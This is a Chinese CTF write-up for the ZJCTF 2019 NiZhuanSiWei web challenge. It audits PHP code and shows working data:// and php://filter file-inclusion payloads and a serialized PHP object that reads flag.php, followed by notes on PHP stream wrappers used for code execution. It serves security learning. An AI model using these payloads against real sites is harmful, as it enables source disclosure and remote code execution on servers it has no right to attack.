文件包含 [ZJCTF 2019]NiZhuanSiWei1

打开题目

文件包含 [ZJCTF 2019]NiZhuanSiWei1_第1张图片

代码审计

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

首先isset函数检查text参数是否存在且不为空

用file_get_contents函数读取text制定的文件内容并与welcome to the zjctf进行强比较

 echo "

".file_get_contents($text,'r')."


";

如果强比较相等的话,则输出text的内容

if(preg_match("/flag/",$file)){
        echo "Not now!";

如果强比较不相等的话,则检查文件内容是否包含/flag,如果包含,则输出Not now

}else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;

如果文件内容不包含/flag的话,file指定的文件包含到脚本中,这里提示了useless.php,然后对password的值进行反序列化,然后输出password的值

第一步

所以我们需要传入text文件值必须为welcome to the zjctf

1.用php://input协议以post传参的形式写入,

2.用data伪协议写入内容

welcome to the zjctf的base64编码为d2VsY29tZSB0byB0aGUgempjdGY=

payload:

http://127.0.0.1/include.php?file=data://text/plain,welcome to the zjctf
或者

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

传参后页面回显

文件包含 [ZJCTF 2019]NiZhuanSiWei1_第2张图片

第二步

我们用php://filter协议读取file下的useless.php的文件内容

这里我们需要注意用php://filter读取的文件内容是被base64加密后的内容

?file=php://filter/convert.base64-encode/resource=useless.php

和第一步的payload拼接一下即得到第二步的payload

payload:

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

或者

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

页面回显

文件包含 [ZJCTF 2019]NiZhuanSiWei1_第3张图片

第三步

将上一步得到的useless.php的文件内容进行base64解码后得到

文件包含 [ZJCTF 2019]NiZhuanSiWei1_第4张图片

得到代码

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

代码审计

class Flag{  //flag.php  
    public $file; 

定义了一个名为Flag的类,然后file参数为公有属性,公共属性$file意味着任何地方都可以访问并修改它。

public function __tostring(){

在类中定义一个 _toString的方法,且设为公有属性,返回字符串信息

if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "
";

如果file的值不为null,输出文件包含下的file值

在第一次的代码审计中,我们需要将password的值进行反序列化操作

那我们可以在在本地搭建网站进行反序列化操作

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); echo serialize($a); ?>

结果为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

文件包含 [ZJCTF 2019]NiZhuanSiWei1_第5张图片

三步的payload拼接一下即可得到最后的payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

或者

?text=data://text/plain,welcome to the zjctf&file=useless.php&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

文件包含 [ZJCTF 2019]NiZhuanSiWei1_第6张图片

查看源代码得到flag

 
  

知识点:

  • 什么是文件包含漏洞?

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行

以PHP为例,常用的文件包含函数有以下四种

    require():找不到被包含的文件会产生致命错误,并停止脚本运行
    include():找不到被包含的文件只会产生警告,脚本继续执行
    require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
    include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
 

  • php伪协议

php://filter用于读取源码。
php://input用于执行php代码。

  • php isset函数

isset() 函数检查变量是否被设置,这意味着它必须被声明并且不为 NULL。

  • php file_get_contents函数

 将整个文件读入一个字符串

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。php://input用于执行php代码。

  • php://input

可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

  • data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

          实例用法

                  1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,
 
                   2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

  • php://filter

对本地磁盘文件进行读写,php://filter读取php文件时候需要base64编码

         实例用法:

php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
http://127.0.0.1/include.php?file=php://filter/convert.base64-encode/resource=phpinfo.php
效果一样的

  • php类定义 class关键词

文件包含 [ZJCTF 2019]NiZhuanSiWei1_第7张图片

图源:PHP 面向对象 | 菜鸟教程

类的基本概念

  • 以关键词class开头,后面跟着类名,类名后面跟着一对花括号,里面包含有类的属性、方法的定义。
  • 类名:由字母、数字、下划线组成。字母或下划线开头。
  • 一个类里包含有自己的常量,类的属性(变量),类的方法(函数)。

  • php public关键词

public 关键字是访问修饰符。 它将属性或方法标记为公共。

任何可以访问对象的代码都可以使用公共属性和方法。公共属性意味着任何地方都可以访问并修改它。

  • php  _toString魔术方法

__toString()是快速获取对象的字符串信息的便捷方式

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。使用__toString() 时返回值一定要使用return 来进行返回

__toString() 方法用于一个类被当成字符串时应怎样回应

而function _tostring 就是在类中定义一个 _toString的方法

参考文章;PHP魔术方法之 __toString()-CSDN博客

 
  

知识点选自:

【精选】PHP伪协议详解-CSDN博客

文件包含漏洞全面详解_caker丶的博客-CSDN博客

【精选】文件包含&PHP伪协议利用_file_get_contents()支持的协议-CSDN博客

你可能感兴趣的:(安全,web安全)